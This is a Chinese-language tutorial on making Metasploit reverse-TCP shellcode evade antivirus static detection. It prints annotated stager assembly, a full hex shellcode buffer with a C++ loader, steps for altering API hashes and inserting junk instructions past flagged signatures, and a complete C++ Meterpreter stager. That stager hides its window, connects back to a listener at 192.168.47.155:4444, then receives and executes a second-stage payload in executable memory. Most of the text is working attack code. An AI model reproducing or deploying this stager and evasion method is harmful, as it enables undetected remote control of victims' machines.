MSF实战免杀过静态:ShellCode加花指令
分析MSF的ShellCode
1.Hash寻找系统API函数
由于ShellCode是没有PE结构的，无法通过导入表来调用系统的API函数，因此，这部分是一个通用的API调用函数，它可以根据给定的哈希值查找并调用相应的API。在查找API时，它会遍历已加载模块的列表以及每个模块的导出地址表。这个函数在Shellcode中非常重要，因为它可以让我们不用硬编码API函数地址，而是动态地查找和调用它们。
;-----------------------------------------------------------------------------;
; 作者: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; 兼容性: NT4 及更新版本
; 架构: x86
; 大小: 140 字节
;-----------------------------------------------------------------------------;
[BITS 32]
; 输入: 要调用的API的哈希和所有参数必须被推送到栈上。
; 输出: API调用的返回值将在EAX寄存器中。
; 破坏: EAX, ECX和EDX (像正常的stdcall调用约定一样)
; 未破坏: 可以期望EBX、ESI、EDI、ESP和EBP保持不变。
; 注意: 该函数假定方向标志已经通过CLD指令清除。
; 注意: 该函数无法调用已转发的导出项。
api_call:
pushad ; 保存所有寄存器给调用者，除了EAX和ECX。
mov ebp, esp ; 创建新的堆栈帧
xor edx, edx ; 将EDX清零
mov edx, [fs:edx+0x30] ; 获取PEB的指针
mov edx, [edx+0xc] ; 获取PEB->Ldr
mov edx, [edx+0x14] ; 从内存中按顺序获取模块列表的第一个模块
next_mod: ;
mov esi, [edx+0x28] ; 获取指向模块名称（Unicode字符串）的指针
movzx ecx, word [edx+0x26] ; 将ECX设置为要检查的长度
xor edi, edi ; 清除EDI，它将存储模块名称的哈希值
loop_modname: ;
xor eax, eax ; 将EAX清零
lodsb ; 读取名称的下一个字节
cmp al, 'a' ; 一些版本的Windows使用小写模块名
jl not_lowercase ;
sub al, 0x20 ; 如果是，就将其归一化为大写字母
not_lowercase: ;
ror edi, 0xd ; 将哈希值向右旋转
add edi, eax ; 添加名称的下一个字节
dec ecx
jnz loop_modname ; 循环，直到读取了足够的字节
; 现在我们已经计算出了模块哈希
push edx ; 为以后保存当前在模块列表中的位置
push edi ; 为以后保存当前模块哈希
; 继续迭代导出地址表，
mov edx, [edx+0x10] ; 获取此模块的基地址
mov eax, [edx+0x3c] ; 获取PE头
add eax, edx ; 添加模块的基地址
mov eax, [eax+0x78] ; 获取导出表的RVA
test eax, eax ; 测试是否没有导出地址表
jz get_next_mod1 ; 如果没有EAT，则处理下一个模块
add eax, edx ; 添加模块的基地址
push eax ; 保存当前模块的EAT
mov ecx, [eax+0x18] ; 获取函数名称的数量
mov ebx, [eax+0x20] ; 获取函数名称的RVA
add ebx, edx ; 添加模块的基地址
; 计算模块哈希 + 函数哈希
get_next_func: ;
test ecx, ecx ; 由于下面的随机jmp产生的较大偏移量而更改自jcxz
jz get_next_mod ; 当我们到达EAT的开始（我们向后搜索）时，处理下一个模块
dec ecx ; 减少函数名称计数器
mov esi, [ebx+ecx4] ; 获取下一个模块名称的RVA
add esi, edx ; 添加模块的基地址
xor edi, edi ; 清除EDI，它将存储函数名称的哈希值
; 并将其与我们要搜索的哈希值进行比较
loop_funcname: ;
xor eax, eax ; 将EAX清零
lodsb ; 读取ASCII函数名称的下一个字节
ror edi, 0xd ; 将哈希值向右旋转
add edi, eax ; 添加名称的下一个字节
cmp al, ah ; 将AL（名称的下一个字节）与AH（空值）进行比较
jne loop_funcname ; 如果我们没有到达空终止符，就继续循环
add edi, [ebp-8] ; 将当前模块哈希添加到函数哈希中
cmp edi, [ebp+0x24] ; 将哈希与我们要搜索的哈希进行比较
jnz get_next_func ; 如果我们没有找到它，就去计算下一个函数哈希
; 如果找到了，则修复堆栈，调用函数，然后返回值，否则计算下一个...
pop eax ; 恢复当前模块的EAT
mov ebx, [eax+0x24] ; 获取序数表的RVA
add ebx, edx ; 添加模块的基地址
mov cx, [ebx+2ecx] ; 获取所需函数的序数
mov ebx, [eax+0x1c] ; 获取函数地址表的RVA
add ebx, edx ; 添加模块的基地址
mov eax, [ebx+4*ecx] ; 获取所需函数的RVA
add eax, edx ; 将模块的基地址添加到获取函数的实际VA中
; 现在我们修复堆栈并调用所需的函数...
finish:
mov [esp+0x24], eax ; 用即将进行的popad覆盖旧的EAX值
pop ebx ; 清除当前模块哈
pop ebx ; 清除当前在模块列表中的位置
popad ; 恢复调用者的所有寄存器，除了被破坏的EAX、ECX和EDX
pop ecx ; 弹出调用者将要推送的原始返回地址
pop edx ; 弹出调用者将要推送的哈希值
push ecx ; 推回正确的返回值
jmp eax ; 跳转到所需的函数
; 现在我们会自动返回到正确的调用者...
get_next_mod: ;
pop eax ; 弹出当前（现在是上一个）模块的EAT
get_next_mod1: ;
pop edi ; 弹出当前（现在是上一个）模块的哈希值
pop edx ; 恢复我们在模块列表中的位置
mov edx, [edx] ; 获取下一个模块
jmp next_mod ; 处理此模块
2.建立反向TCP连接
这部分是一个创建反向TCP连接的Shellcode。首先，它加载ws2_32.dll库以使用网络功能，并调用WSAStartup函数初始化Winsock。接下来，它创建一个TCP套接字，并尝试连接到指定的IP地址和端口。如果连接失败，它会尝试重新连接，直到成功或达到最大重试次数。连接成功后，它将套接字存储在EDI寄存器中，以便在后续的Shellcode中使用
;-----------------------------------------------------------------------------;
; 作者: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; 兼容: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; 版本: 1.0 (2009年7月24日)
;-----------------------------------------------------------------------------;
[BITS 32]
; 输入: EBP必须是'api_call'的地址。
; 输出: EDI将是与服务器连接的套接字。
; 破坏: EAX、ESI、EDI、ESP也会被修改（-0x1A0）
reverse_tcp:
push 0x00003233 ; 将'ws2_32'、0、0的字节推送到堆栈上。
push 0x5F327377 ; ...
push esp ; 将指向"ws2_32"字符串的指针推送到堆栈上。
push 0x0726774C ; hash("kernel32.dll", "LoadLibraryA")
call ebp ; LoadLibraryA("ws2_32")
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; 为WSAData结构分配一些空间
push esp ; 将一个指向此结构的指针推送到堆栈上
push eax ; 将wVersionRequested参数推送到堆栈上
push 0x006B8029 ; hash("ws2_32.dll", "WSAStartup")
call ebp ; WSAStartup(0x0190, &WSAData);
push eax ; 如果成功，eax将为零，为标志参数推送零。
push eax ; 为保留参数推送空值
push eax ; 我们不指定WSAPROTOCOL_INFO结构
push eax ; 我们不指定协议
inc eax ;
push eax ; 推送SOCK_STREAM
inc eax ;
push eax ; 推送AF_INET
push 0xE0DF0FEA ; hash("ws2_32.dll", "WSASocketA")
call ebp ; WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
xchg edi, eax ; 保存套接字以备后用，不关心eax的值
set_address:
push byte 0x05 ; 重试计数器
push 0x0100007F ; 主机127.0.0.1
push 0x5C110002 ; family为AF_INET，端口为4444
mov esi, esp ; 保存sockaddr结构的指针
try_connect:
push byte 16 ; sockaddr结构的长度
push esi ; sockaddr结构的指针
push edi ; 套接字
push 0x6174A599 ; hash("ws2_32.dll", "connect")
call ebp ; connect(s, &sockaddr, 16);
test eax,eax ; 非零表示失败
jz short connected
handle_failure:
dec dword [esi+8]
jnz; 短跳转到try_connect标签处继续尝试连接
failure:
push 0x56A2B5F0 ; 硬编码为exitprocess以控制大小
call ebp
connected:
3.接收并执行命令
这部分主要用于接收和执行来自反向TCP连接的第二阶段Payload。首先，它调用recv函数接收第二阶段Payload的长度。然后，它使用VirtualAlloc函数分配一个具有执行权限的内存缓冲区，用于存储接收到的第二阶段Payload。接下来，它通过recv函数将Payload接收到分配的缓冲区。最后，它跳转到缓冲区的地址，执行接收到的第二阶段Payload
;-----------------------------------------------------------------------------;
; 作者：Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; 兼容性：Windows 7，2008，Vista，2003，XP，2000，NT4
; 版本：1.0（2009年7月24日）
;-----------------------------------------------------------------------------;
[BITS 32]
; 兼容性：block_bind_tcp，block_reverse_tcp，block_reverse_ipv6_tcp
; 输入：EBP必须是'api_call'的地址。EDI必须是套接字。ESI是堆栈上的指针。
; 输出：无。
; 修改：EAX，EBX，ESI，（ESP也将被修改）
recv:
; 接收第二阶段的大小...
push byte 0 ; 标志
push byte 4 ; 长度 = sizeof( DWORD );
push esi ; 在堆栈上的4字节缓冲区来保存第二阶段的长度
push edi ; 已保存的套接字
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, &dwLength, 4, 0 );
; 为第二阶段分配一个RWX缓冲区
mov esi, [esi] ; 解引用指向第二阶段长度的指针
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; 推入新接收到的第二阶段长度。
push byte 0 ; NULL，因为我们不在意分配的位置。
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; 接收并执行第二阶段...
xchg ebx, eax ; ebx = 新内存地址，用于存放新的第二阶段代码
push ebx ; 推入新第二阶段的地址，以便我们可以跳转到其中
read_more: ;
push byte 0 ; 标志
push esi ; 长度
push ebx ; 当前指向我们的第二阶段RWX缓冲区的地址
push edi ; 已保存的套接字
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, 将设置标志
jnz read_more ; 如果还有要读取的内容，则继续
ret ; 跳转到第二阶段代码中执行
总结
第一部分（api_call）是一个通用API调用函数，用于动态查找和调用API。第二部分（reverse_tcp）创建一个反向TCP连接，将本地机器连接到攻击者的监听器。第三部分（recv）负责接收并执行第二阶段Payload。这三部分共同实现了一段完整的Shellcode，用于反向连接攻击者机器并执行远程指令
免杀实战
1.修改API函数的Hash值
在MSF ShellCode的第一段汇编指令中，有一个ror指令，其后接一个立即数，这个立即数十分重要。可以发现，在上述汇编指令中每一个api函数的hash值都是固定的，这种情况就很容易被杀毒通过排查特征码查杀掉，但是可以通过修改ror指令后面的立即数来改变api函数的hash值
可使用apihashreplace.py脚本对MSF生成的二进制Shellcode文件进行修改ror指令后的立即数值，使用方法如下, 32位系统下的ShellCode就输入32，同理64位则输入64
python3 apihashreplace.py 32 1.bin
修改完后会在当前目录生成0x?.bin，如下图所示
2.将ShellCode写入Cpp
使用winhex或者editor工具复制bin文件的十六进制内容至C++项目中, 如下代码所示，随后生成可执行文件
pragma comment(linker, "/section:.data,RWE")//对于内存的保护属性 可读可写可执行
//从Bin文件复制过来的ShellCode
unsigned char buf[] =
"\xFC\xE8\x8F\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0"
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x07\x01\xC7\x49\x75\xEF\x52"
"\x8B\x52\x10\x57\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4C"
"\x01\xD0\x8B\x48\x18\x8B\x58\x20\x01\xD3\x50\x85\xC9\x74\x3C\x49"
"\x8B\x34\x8B\x31\xFF\x01\xD6\x31\xC0\xC1\xCF\x07\xAC\x01\xC7\x38"
"\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE0\x58\x8B\x58\x24\x01"
"\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89"
"\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12"
"\xE9\x80\xFF\xFF\xFF\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F"
"\x54\x68\xd2\x53\x6e\xfc\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29"
"\xc4\x54\x50\x68\x9c\x13\x41\xc4\xff\xd5\x6a\x0a\x68\xc0\xa8\x2f"
"\x9b\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\x2c\x9b\xfc\xa4\xff\xd5\x97\x6a\x10\x56\x57\x68\xb6\x59\xc0"
"\x0e\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\xe8\xd9\xce\x36\xff\xd5\x83\xf8"
"\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68"
"\x9c\xed\x92\x66\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\xe8\xd9"
"\xce\x36\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a"
"\x00\x50\x68\x3e\xba\x17\xa3\xff\xd5\x57\x68\xe6\xfc\xe1\xe2\xff"
"\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xfc\xd3\xf4\x5e\x6a\x00\x53"
"\xff\xd5";
void main() {
__asm {
lea eax,buf
call eax
}
}
3.定位报毒特征码
生成的可执行文件很快就被火绒干掉了，使用工具Virtest5.0来查看哪处的特征码被查杀掉了, 此处我就不演示此款工具的使用方法了，在1ceb偏移处有4个字节被查杀了，分别是FC A4 FF D5
将可执行文件放入OD调试, 通过偏移量或者特征码跳转至FC A4 FF D5所在位置, FF D5 表示的汇编指令是call ebp, FC A4属于立即数0XA4FC982C的一部分
4.修改报毒特征码
首先判断火绒查杀的是否是立即数的内容, 在ShellCode修改立即数的报毒部分, 此处我将\xa4的值修改成了\xa1, 修改完后火绒没有报毒
但是通过上述MSF的Shellcode组成部分可以得知, 这个立即数表示WSASocketA函数的地址hash值, 也就是说这段内容修改了后ShellCode就会失效
于是采用第二个方法：加花指令。这里我用点简单花指令push eax和pop eax, 其对应的硬编码分别是\x50和\x58, 将花指令添加到立即数得后面, 即报毒特征码FC A4 FF D5的中间
再次生成可执行文件后火绒不会查杀了, 而且msf也能正常上线
Meterpreter的C++版本
项目代码
include <WinSock2.h>
include <stdio.h>
pragma warning (disable: 4996)
pragma comment(lib,"WS2_32.lib")
include<windows.h>
int main(int argc, char** argv)
{
// 隐藏当前窗口
ShowWindow(GetForegroundWindow(), 0);
// 初始化 WinSock 并分配资源
WSADATA wsData;
if (WSAStartup(MAKEWORD(2, 2), &wsData))
{
printf("WSAStartup failed.\n");
return 0;
}
// 创建 socket 并连接到服务器
SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
SOCKADDR_IN server;
ZeroMemory(&server, sizeof(SOCKADDR_IN));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("192.168.47.155"); // 服务器 IP
server.sin_port = htons(4444); // 服务器端口
if (SOCKET_ERROR == connect(sock, (SOCKADDR*)&server, sizeof(server)))
{
printf("connect to server failed.\n");
goto Fail;
}
// 接收载荷长度
u_int payloadLen;
if (recv(sock, (char*)&payloadLen, sizeof(payloadLen), 0) != sizeof(payloadLen))
{
printf("recv error\n");
goto Fail;
}
// 分配内存空间以接收实际载荷
char* orig_buffer;
orig_buffer = (char*)VirtualAlloc(NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* buffer;
buffer = orig_buffer;
int ret;
ret = 0;
do
{
ret = recv(sock, buffer, payloadLen, 0);
buffer += ret;
payloadLen -= ret;
} while (ret > 0 && payloadLen > 0);
// 将参数传入并执行载荷
__asm
{
mov edi, sock; // 将 sock 存储在 edi 寄存器中
jmp orig_buffer; // 转移执行权至载荷，不要指望它返回。如果想要它返回，修改量比较大，不如把这个地方做成个线程,监听端设置退出时ExitThread更方便
}
// 释放内存空间
VirtualFree(orig_buffer, 0, MEM_RELEASE);
Fail:
// 关闭 socket 并清理 WinSock 资源
closesocket(sock);
WSACleanup();
return 0;
}
项目代码分析
1.主函数定义实现隐藏窗口
这里定义了主函数 main，并使用 ShowWindow 函数隐藏当前窗口
int main(int argc, char** argv)
{
ShowWindow(GetForegroundWindow(), 0);
}
2.初始化WinSock
WSADATA wsData;
if (WSAStartup(MAKEWORD(2, 2), &wsData))
{
printf("WSAStartup failed.\n");
return 0;
}
这段代码初始化 WinSock 库并检查是否成功。如果失败，程序将输出错误信息并退出。
3.创建socket并连接服务器
SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, 0); //这行代码使用 WSASocket 函数创建了一个新的 socket。参数 AF_INET 表示使用 IPv4 地址族，SOCK_STREAM 表示使用可靠的字节流套接字（TCP）。其他参数为0，表示使用默认的协议和选项
SOCKADDR_IN server; //定义服务器地址结构体
ZeroMemory(&server, sizeof(SOCKADDR_IN)); //清零服务器地址结构体
server.sin_family = AF_INET; //将服务器地址结构体的地址族设置为 AF_INET，表示使用 IPv4
server.sin_addr.s_addr = inet_addr("192.168.47.155"); //将服务器 IP 地址设置为 "192.168.47.155"。inet_addr 函数将点分十进制表示的 IP 地址转换为网络字节序的 32 位整数
server.sin_port = htons(4444); //将服务器的端口设置为4444，htons函数将主机字节序的整数（本例中为4444）转换为网络字节序的整数
//使用 connect 函数尝试连接到服务器。connect 函数接受三个参数：已创建的 socket，一个指向服务器地址结构体的指针（需要将其转换为 SOCKADDR* 类型），以及服务器地址结构体的大小。如果连接失败，connect 函数将返回 SOCKET_ERROR，然后输出错误信息并跳转到 Fail 标签进行资源清理
if (SOCKET_ERROR == connect(sock, (SOCKADDR*)&server, sizeof(server))) //
{
printf("connect to server failed.\n");
goto Fail;
}
这部分代码创建了一个新的 socket，并设置服务器的 IP 地址和端口。然后尝试连接到服务器。如果连接失败，程序将输出错误信息并跳转到 Fail 标签
4.从服务器接收载荷(payload)长度
u_int payloadLen;
if (recv(sock, (char*)&payloadLen, sizeof(payloadLen), 0) != sizeof(payloadLen))
{
printf("recv error\n");
goto Fail;
}
这段代码接收服务器发送的载荷长度。如果接收失败，程序将输出错误信息并跳转到 Fail 标签
5.分配内存空间以接收实际载荷，并从服务器接收载荷
char* orig_buffer;
orig_buffer = (char*)VirtualAlloc(NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* buffer;
buffer = orig_buffer;
int ret;
ret = 0;
do
{
ret = recv(sock, buffer, payloadLen, 0);
buffer += ret;
payloadLen -= ret;
} while (ret > 0 && payloadLen > 0);
这部分代码首先分配足够的内存空间以接收实际载荷。然后，使用循环从服务器接收载荷，直到接收完毕
6.执行载荷
__asm
{
mov edi, sock;
jmp orig_buffer;
}
这段代码是用内嵌汇编编写的。它将 sock 的值移动到 edi 寄存器中，然后将执行权跳转到 orig_buffer 指向的内存地址。这意味着程序将开始执行接收到的载荷
7.释放内存空间以及处理失败的情况
VirtualFree(orig_buffer, 0, MEM_RELEASE);
Fail:
closesocket(sock);
WSACleanup();
return 0;
释放了之前分配的 orig_buffer 内存空间，若在前面的代码发生了错误，程序将跳转至这里，随后关闭socket和清理WinSock使用的资源
项目测试
在虚拟机运行的时候把Windows Defener关掉了，因为过不了动态查杀，但是静态还是能过的
